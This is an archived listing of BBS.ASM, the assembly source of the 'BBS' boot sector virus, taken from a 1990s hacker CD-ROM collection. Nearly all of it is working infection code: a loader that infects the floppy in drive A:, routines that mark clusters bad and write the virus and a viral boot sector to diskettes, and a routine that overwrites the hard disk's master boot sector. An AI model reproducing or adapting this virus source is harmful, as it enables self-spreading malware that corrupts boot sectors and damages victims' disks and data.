home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / BBS / BBS.ASM next >
Encoding:
Assembly Source File  |  1995-06-28  |  11.3 KB  |  286 lines

  1. ;The BBS Virus is a boot sector virus which remains resident in memory
  2. ;after boot so it can infect disks.
  3.  
  4. .model  tiny                    ;change to "small" for MASM versions that dont
  5. .code                           ;understand "tiny"
  6.  
  7.         ORG     100H
  8.  
  9. ;This function acts as the loader for the virus. It infects the disk in a:
  10. START:
  11.         mov     BYTE PTR ds:[CURR_DISK],0       ;infect drive #0 (a:)
  12.         mov     dl,0                            ;set up dl for CHECK_DISK
  13.         call    CHECK_DISK                      ;is floppy already infected?
  14.         jz      EXIT_BAD                        ;yes, just exit
  15.         call    INIT_FAT_MANAGER                ;initialize FAT management routines
  16.         call    INFECT_FLOPPY                   ;no, go infect the diskette
  17. EXIT_NOW:
  18.         mov     ah,9                            ;say infection ok
  19.         mov     dx,OFFSET OK_MSG
  20.         int     21H
  21.         mov     ax,4C00H                        ;exit to DOS
  22.         int     21H
  23.  
  24. EXIT_BAD:
  25.         mov     ah,9                            ;say there was a problem
  26.         mov     dx,OFFSET ERR_MSG
  27.         int     21H
  28.         mov     ax,4C01H                        ;exit with error code
  29.         int     21H
  30.  
  31. OK_MSG  DB      'Infection complete!$'
  32. ERR_MSG DB      'Infection process could not be completed!$'
  33.  
  34. ;*******************************************************************************
  35. ;* BIOS DATA AREA                                                              *
  36. ;*******************************************************************************
  37.  
  38.         ORG     413H
  39.  
  40. MEMSIZE DW      640                     ;size of memory installed, in KB
  41.  
  42. ;*******************************************************************************
  43. ;* VIRUS CODE STARTS HERE                                                      *
  44. ;*******************************************************************************
  45.  
  46. VIR_SIZE        EQU     2       ;size of virus, in sectors
  47.  
  48.         ORG     7C00H - 512*VIR_SIZE - 512
  49.  
  50. BBS:                            ;A label for the beginning of the virus
  51.  
  52. INCLUDE INT13H.ASM              ;include interrupt 13H handler main routine
  53.  
  54. ;*******************************************************************************
  55. ;This routine checks the status of the diskette motor flag for the drive in
  56. ;dl. If the motor is on, it returns with nz, else it returns with z.
  57. CHECK_MOTOR:
  58.         push    bx
  59.         push    dx
  60.         push    es
  61.         xor     bx,bx
  62.         mov     es,bx                           ;es=0
  63.         mov     bx,43FH                         ;motor status at 0:43FH
  64.         mov     bl,es:[bx]
  65.         inc     dl
  66.         and     bl,dl                           ;is motor on? ret with flag set
  67.         pop     es
  68.         pop     dx
  69.         pop     bx
  70.         ret
  71.  
  72. ;*******************************************************************************
  73. ;See if disk dl is infected already. If so, return with Z set. This
  74. ;does not assume that registers have been saved, and saves/restores everything
  75. ;but the flags.
  76.  
  77. CHECK_DISK:
  78.         push    ax                              ;save everything
  79.         push    bx
  80.         push    cx
  81.         push    dx
  82.         push    si
  83.         push    di
  84.         push    bp
  85.         push    ds
  86.         push    es
  87.  
  88.         mov     ax,cs
  89.         mov     ds,ax
  90.         mov     es,ax
  91.         mov     bx,OFFSET SCRATCHBUF            ;buffer for the boot sector
  92.         mov     dh,0                            ;head 0
  93.         mov     cx,1                            ;track 0, sector 1
  94.         mov     ax,201H                         ;BIOS read function
  95.         push    ax
  96.         int     40H                             ;do double read to
  97.         pop     ax                              ;avoid problems with just
  98.         int     40H                             ;changed disk
  99.         jnc     CD1
  100.         xor     al,al                           ;act as if infected
  101.         jmp     SHORT CD2                       ;in the event of an error
  102. CD1:    call    IS_VBS                          ;see if viral boot sec (set z)
  103. CD2:    pop     es                              ;restore everything
  104.         pop     ds                              ;except the z flag
  105.         pop     bp
  106.         pop     di
  107.         pop     si
  108.         pop     dx
  109.         pop     cx
  110.         pop     bx
  111.         pop     ax
  112.         ret
  113.  
  114.  
  115. ;*******************************************************************************
  116. ;This routine puts the virus on the floppy disk. It has no safeguards to prevent infecting
  117. ;an already infected disk. That must occur at a higher level.
  118. ;On entry, [CURR_DISK] must contain the drive number to act upon.
  119.  
  120. INCLUDE FATMAN.ASM
  121.  
  122. INFECT_FLOPPY:
  123.         push    ax
  124.         push    bx
  125.         push    cx
  126.         push    dx
  127.         push    si
  128.         push    di
  129.         push    bp
  130.         push    ds
  131.         push    es
  132.         mov     ax,cs
  133.         mov     ds,ax
  134.         mov     es,ax
  135.         mov     bx,VIR_SIZE+1                   ;number of sectors requested
  136.         call    FIND_FREE                       ;find free space on disk
  137.         jnc     INF1                            ;exit now if no space
  138. IFX:    pop     es
  139.         pop     ds
  140.         pop     bp
  141.         pop     di
  142.         pop     si
  143.         pop     dx
  144.         pop     cx
  145.         pop     bx
  146.         pop     ax
  147.         ret
  148.  
  149. INF1:   push    cx
  150.         mov     dx,cx                           ;dx=cluster to start marking
  151.         mov     cx,VIR_SIZE+1                   ;sectors requested
  152.         call    MARK_CLUSTERS                   ;mark required clusters bad
  153.         call    UPDATE_FAT_SECTOR               ;and write it to disk
  154.  
  155.         mov     ax,0201H
  156.         mov     bx,OFFSET SCRATCHBUF
  157.         mov     cx,1
  158.         mov     dh,ch
  159.         mov     dl,[CURR_DISK]
  160.         int     40H                             ;read original boot sector
  161.  
  162.         mov     si,OFFSET SCRATCHBUF + 3        ;BS_DATA in current sector
  163.         mov     di,OFFSET BOOT_START + 3
  164.         mov     cx,59                           ;copy boot sector disk info over
  165.         rep     movsb                           ;to new boot sector
  166.         mov     di,OFFSET END_BS_CODE
  167.         mov     si,di
  168.         sub     si,(OFFSET BOOT_START - OFFSET SCRATCHBUF)
  169.         mov     cx,7E00H                        ;so boot works right on
  170.         sub     cx,di
  171.         rep     movsb                           ;floppies too
  172.  
  173.         pop     cx
  174.         call    CLUST_TO_ABSOLUTE               ;set cx,dx up with trk, sec, hd info
  175.         xor     dl,dl
  176.         mov     ds:[VIRCX],cx
  177.         mov     ds:[VIRDX],dx
  178.  
  179.         mov     dl,ds:[CURR_DISK]
  180.         mov     bx,OFFSET BBS
  181.         mov     si,VIR_SIZE+1                   ;read/write VIR_SIZE+1 sectors
  182. INF2:   push    si
  183.         mov     ax,0301H                        ;read/write 1 sector
  184.         int     40H                             ;call BIOS to write it
  185.         pop     si
  186.         jc      IFEX                            ;exit if it fails
  187.         add     bx,512                          ;increment read buffer
  188.         inc     cl                              ;get ready to do next sector--inc sector ct
  189.         cmp     cl,BYTE PTR [SECS_PER_TRACK]    ;last sector on track?
  190.         jbe     INF3                            ;no, continue
  191.         mov     cl,1                            ;yes, set sector=1
  192.         inc     dh                              ;try next side
  193.         cmp     dh,2                            ;last side?
  194.         jb      INF3                            ;no, continue
  195.         xor     dh,dh                           ;yes, set side=0
  196.         inc     ch                              ;and increment track count
  197. INF3:   dec     si
  198.         jnz     INF2
  199.         mov     ax,0301H
  200.         mov     bx,OFFSET BOOT_START
  201.         mov     cx,1
  202.         mov     dh,ch
  203.         mov     dl,[CURR_DISK]
  204.         int     40H                             ;write viral boot sector into boot sector
  205. IFEX:   jmp     IFX
  206.  
  207.  
  208. ;*******************************************************************************
  209. ;Infect Hard Disk Drive AL with this virus. This involves the following steps:
  210. ;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
  211. ;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
  212. ;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the BBS
  213. ;routines to Track 0, Head 0, Sector 2, 5 sectors total. The present MBS
  214. ;should already be in memory at SCRATCHBUF when this is called!
  215.  
  216. INFECT_HARD:
  217.         mov     bx,OFFSET BBS                   ;and go write it at
  218.         mov     dx,80H                          ;drive c:, head 0
  219.         mov     ds:[VIRDX],dx                   ;save where virus goes
  220.         mov     cx,0002H                        ;track 0, sector 2
  221.         mov     ds:[VIRCX],cx
  222.         mov     ax,0300H + VIR_SIZE + 1         ;BIOS write
  223.         int     13H                             ;virus + original mbs to disk
  224.  
  225.         mov     si,OFFSET SCRATCHBUF + 1BEH     ;set up partition table
  226.         mov     di,OFFSET PART
  227.         mov     cx,40H
  228.         rep     movsb
  229.  
  230.         mov     WORD PTR ds:[BS_SECS_PER_TRACK],64 ;make this big enough to work
  231.         mov     bx,OFFSET BOOT_START
  232.         mov     dx,80H                          ;head 0, drive c:
  233.         mov     cx,1                            ;track 0, sector 1
  234.         mov     ax,301H                         ;write 1 sector
  235.         int     13H
  236.  
  237.         ret
  238.  
  239.  
  240. ;*******************************************************************************
  241. ;This routine determines if a hard drive C: exists, and returns NZ if it does,
  242. ;Z if it does not.
  243. IS_HARD_THERE:
  244.         push    ds
  245.         xor     ax,ax
  246.         mov     ds,ax
  247.         mov     bx,475H                         ;Get hard disk count from bios
  248.         mov     al,[bx]                         ;put it in al
  249.         pop     ds
  250.         or      al,al                           ;return z set/reset
  251.         ret
  252.  
  253.  
  254. ;*******************************************************************************
  255. ;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
  256. ;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
  257. ;are checked to see if they are identical. If so, it must be the viral boot
  258. ;sector. It is assumed that es and ds are properly set to this segment when
  259. ;this is called.
  260.  
  261. IS_VBS:
  262.         push    si                              ;save these
  263.         push    di
  264.         cld
  265.         mov     di,OFFSET BOOT                  ;set up for a compare
  266.         mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
  267.  
  268.         mov     cx,15
  269.         repz    cmpsw                           ;compare 30 bytes
  270.         pop     di                              ;restore these
  271.         pop     si
  272.         ret                                     ;and return with z properly set
  273.  
  274.  
  275. ;*******************************************************************************
  276. ;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES                              *
  277. ;*******************************************************************************
  278.  
  279.         ORG     7C00H - 512
  280.  
  281. SCRATCHBUF:                                     ;buffer for virus disk read/write
  282.  
  283. INCLUDE BOOT.ASM                                ;include boot sector code
  284.  
  285.         END     START
  286.